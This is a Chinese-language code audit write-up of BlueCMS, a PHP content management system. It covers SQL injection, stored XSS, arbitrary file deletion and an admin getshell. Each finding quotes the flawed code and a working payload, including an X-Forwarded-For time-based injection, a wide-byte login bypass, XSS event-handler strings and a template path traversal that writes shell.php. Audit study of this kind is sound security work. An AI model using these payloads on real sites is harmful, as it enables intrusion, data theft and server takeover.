0x01 SQL注入
- union sql 注入1(前台)
漏洞路径在ad_js.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
define('IN_BLUE', true); require_once dirname(__FILE__) . '/include/common.inc.php';
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : ''; if(empty($ad_id)) { echo 'Error!'; exit(); }
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); if($ad['time_set'] == 0) { $ad_content = $ad['content']; } else { if($ad['end_time'] < time()) { $ad_content = $ad['exp_content']; } else { $ad_content = $ad['content']; } } $ad_content = str_replace('"', '\"',$ad_content); $ad_content = str_replace("\r", "\\r",$ad_content); $ad_content = str_replace("\n", "\\n",$ad_content); echo "<!--\r\ndocument.write(\"".$ad_content."\");\r\n-->\r\n";
?>
|
注入出现在第13行,虽然$ad_id
经过了addslashes
函数的转义,但是在sql语句中,并没有使用单引号进行包裹,addslashes
函数并没有发挥作用,产生了注入,输出在了注释里。
Payload: -1 union select 1,2,3,4,5,6,user()
- XFF注入
在配置文件./include/common.inc.php
中,第30~36中过滤了大部分,但缺少了$_SERVER
1 2 3 4 5 6 7
| if(!get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET); $_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); }
|
漏洞出现在include/common.fun.php
中的getip()
函数中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| function getip() { if (getenv('HTTP_CLIENT_IP')) { $ip = getenv('HTTP_CLIENT_IP'); } elseif (getenv('HTTP_X_FORWARDED_FOR')) { $ip = getenv('HTTP_X_FORWARDED_FOR'); } elseif (getenv('HTTP_X_FORWARDED')) { $ip = getenv('HTTP_X_FORWARDED'); } elseif (getenv('HTTP_FORWARDED_FOR')) { $ip = getenv('HTTP_FORWARDED_FOR'); } elseif (getenv('HTTP_FORWARDED')) { $ip = getenv('HTTP_FORWARDED'); } else { $ip = $_SERVER['REMOTE_ADDR']; } return $ip; }
|
通过getenv()
函数获取环境变量的值,可通过X-Forwarded-For
伪造。全局搜索看哪里有调用该函数
先看第一处调用:comment.php
,第114行处
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| if($act == 'send') { if(empty($id)) { return false; }
$user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0; $mood = intval($_POST['mood']); $content = !empty($_POST['comment']) ? htmlspecialchars($_POST['comment']) : ''; $content = nl2br($content); $type = intval($_POST['type']); if(empty($content)) { showmsg('评论内容不能为空'); } if($_CFG['comment_is_check'] == 0) { $is_check = 1; } else { $is_check = 0; }
$sql = "INSERT INTO ".table('comment')." (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '$id', '$user_id', '$type', '$mood', '$content', '$timestamp', '".getip()."', '$is_check')"; $db->query($sql);
|
在sql语句中直接使用getip()
,没有任何的过滤,根据代码构造payload
Payload: X-Forwarded-For: 1’ and sleep(5) and ‘1’=’1
第二处调用:./include/common.inc.php
,第45行
getip()
赋值给变量$online_ip
,全局搜索该变量,在guest_book.php
中第45行找到了未过滤利用点,直接拼接online_ip
到sql语句中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| elseif ($act == 'send') { $user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0; $rid = intval($_POST['rid']); $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : ''; $content = nl2br($content); if(empty($content)) { showmsg('评论内容不能为空'); } $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')"; $db->query($sql); showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']); }
|
利用有两种方法,第一种是X-Forwarded-For: 1' and sleep(5) and '1'='1
使用时间盲注。第二种方法是利用留言处回显。
Payload: X-Forwarded-For: 1’,database()) #
- 宽字节注入
在网站数据库配置文件./data/config.php
中可以看到使用gb2312
编码方式
后台登陆路径./admin/login.php
,使用check_admin()
函数检查账号密码
跟进该函数,在./admin/include/common.fun.php
第179行
1 2 3 4 5 6 7 8 9 10 11 12 13
| function check_admin($name, $pwd) { global $db; $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')"); if($row['num'] > 0) { return true; } else { return false; } }
|
$_POST
过来的数据经过addslashes()
函数转义,利用%df
让转义的\
失效,从而造成宽字节注入。
抓包在burp里面修改,输入在浏览器中会被urlcode编码。
Payload: admin_name=1%df’+or+1=1%23
- union sql 注入2(后台)
漏洞路径在./admin/article.php
中第131~139行
1 2 3 4 5 6 7 8 9
| elseif($act == 'del'){ $article = $db->getone("SELECT cid, lit_pic FROM ".table('article')." WHERE id=".$_GET['id']); $sql = "DELETE FROM ".table('article')." WHERE id=".intval($_GET['id']); $db->query($sql); if (file_exists(BLUE_ROOT.$article['lit_pic'])) { @unlink(BLUE_ROOT.$article['list_pic']); } showmsg('删除本地新闻成功', 'article.php?cid='.$article['cid']); }
|
从前端GET过来的id
参数直接插入sql语句中,未做任何过滤
Payload: act=del&id=-1 union select user(),2
- union sql 注入3(后台)
漏洞路径在./admin/nav.php
中第63~70行
1 2 3 4 5 6 7 8
| elseif($act=='edit') { $sql = "select * from ".table('navigate')." where navid = ".$_GET['navid']; $nav = $db->getone($sql); $smarty->assign('nav',$nav); $smarty->assign('act', $act ); $smarty->display('nav_info.htm'); }
|
从前端GET过来的navid
参数直接插入sql语句中,未做任何过滤
Payload: act=edit&navid=-1 union select 1,user(),database(),4,version(),6 –+
0x02 XSS
- 存储型XSS1
漏洞路径在./user.php
中第134~140行
1 2 3 4 5 6 7
| elseif($act == 'do_reg'){ $user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : ''; $pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : ''; $pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : ''; $email = !empty($_POST['email']) ? trim($_POST['email']) : ''; $safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : ''; $from = !empty($from) ? base64_decode($from) : 'user.php';
|
$email
的过滤只有trim()
函数首尾去空,和common.inc.php
文件中的addslashes()
函数对单双引号进行转义。由于前端存在格式校验,所以抓包进行修改。
或者是正常注册用户后,在用户个人管理处直接修改,无须抓包
- 存储型XSS2
漏洞路径同样在./user.php
中第266行
1 2 3 4 5 6 7 8 9 10 11 12 13
| elseif ($act == 'do_add_news') { include_once 'include/upload.class.php'; $image = new upload(); $title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : ''; $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : ''; $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : ''; if(empty($cid)){ showmsg('新闻分类不能为空'); } $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name']; $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : ''; $content = !empty($_POST['content']) ? filter_data($_POST['content']) : ''; $descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
|
$content
参数经过filter_data()
函数过滤,跟踪该函数在./include/common.fun.php
中第985~989行
1 2 3 4 5
| function filter_data($str) { $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str); return $str; }
|
输入内容通过preg_replace()
函数进行过滤,但是过滤不完整,例如<a>
,<img>
等,还有html5的一系列标签都可以使用。
1 2 3 4
| Payload: <img src=x onerror=alert(1)> <a href=# onmouseover=alert(1)>XSS</a> <style onload=alert(1) />
|
0x04 任意文件删除
- 任意文件删除1
漏洞路径在./publish.php
中第309~318行
1 2 3 4 5 6 7 8 9 10
| elseif($act == 'del_pic') { $id = $_REQUEST['id']; $db->query("DELETE FROM ".table('post_pic'). " WHERE pic_path='$id'"); if(file_exists(BLUE_ROOT.$id)) { @unlink(BLUE_ROOT.$id); } }
|
$id
值传递过来后直接与BLUE_ROOT
拼接,判断文件是否存在后直接删除,未做任何过滤。
本次先放置一个test.txt
文件
Payload: act=del_pic&id=./test.txt
- 任意文件删除2
漏洞路径在./user.php
中第787~791行
1 2 3 4 5 6 7 8 9
| elseif($act == 'edit_user_info'){ $user_id = intval($_SESSION['user_id']); ... ... else{ if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){ @unlink(BLUE_ROOT.$_POST['face_pic3']); } }
|
face_pic3
未做任何过滤直接拼接删除文件
0x05 后台Getshell
漏洞路径在./admin/tpl_manage.php
中第47~62行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| elseif($act == 'do_edit'){ $tpl_name = !empty($_POST['tpl_name']) ? trim($_POST['tpl_name']) : ''; $tpl_content = !empty($_POST['tpl_content']) ? deep_stripslashes($_POST['tpl_content']) : ''; if(empty($tpl_name)){ return false; } $tpl = BLUE_ROOT.'templates/default/'.$tpl_name; if(!$handle = @fopen($tpl, 'wb')){ showmsg("打开目标模版文件 $tpl 失败"); } if(fwrite($handle, $tpl_content) === false){ showmsg('写入目标 $tpl 失败'); } fclose($handle); showmsg('编辑模板成功', 'tpl_manage.php'); }
|
存在文件读写的操作,并且tpl_name
和tpl_content
参数可控
1 2 3 4
| Payload: http://bluscms/admin/tpl_manage.php?act=do_edit POST-Data: tpl_name=../../shell.php&tpl_content=<? phpinfo();?>
|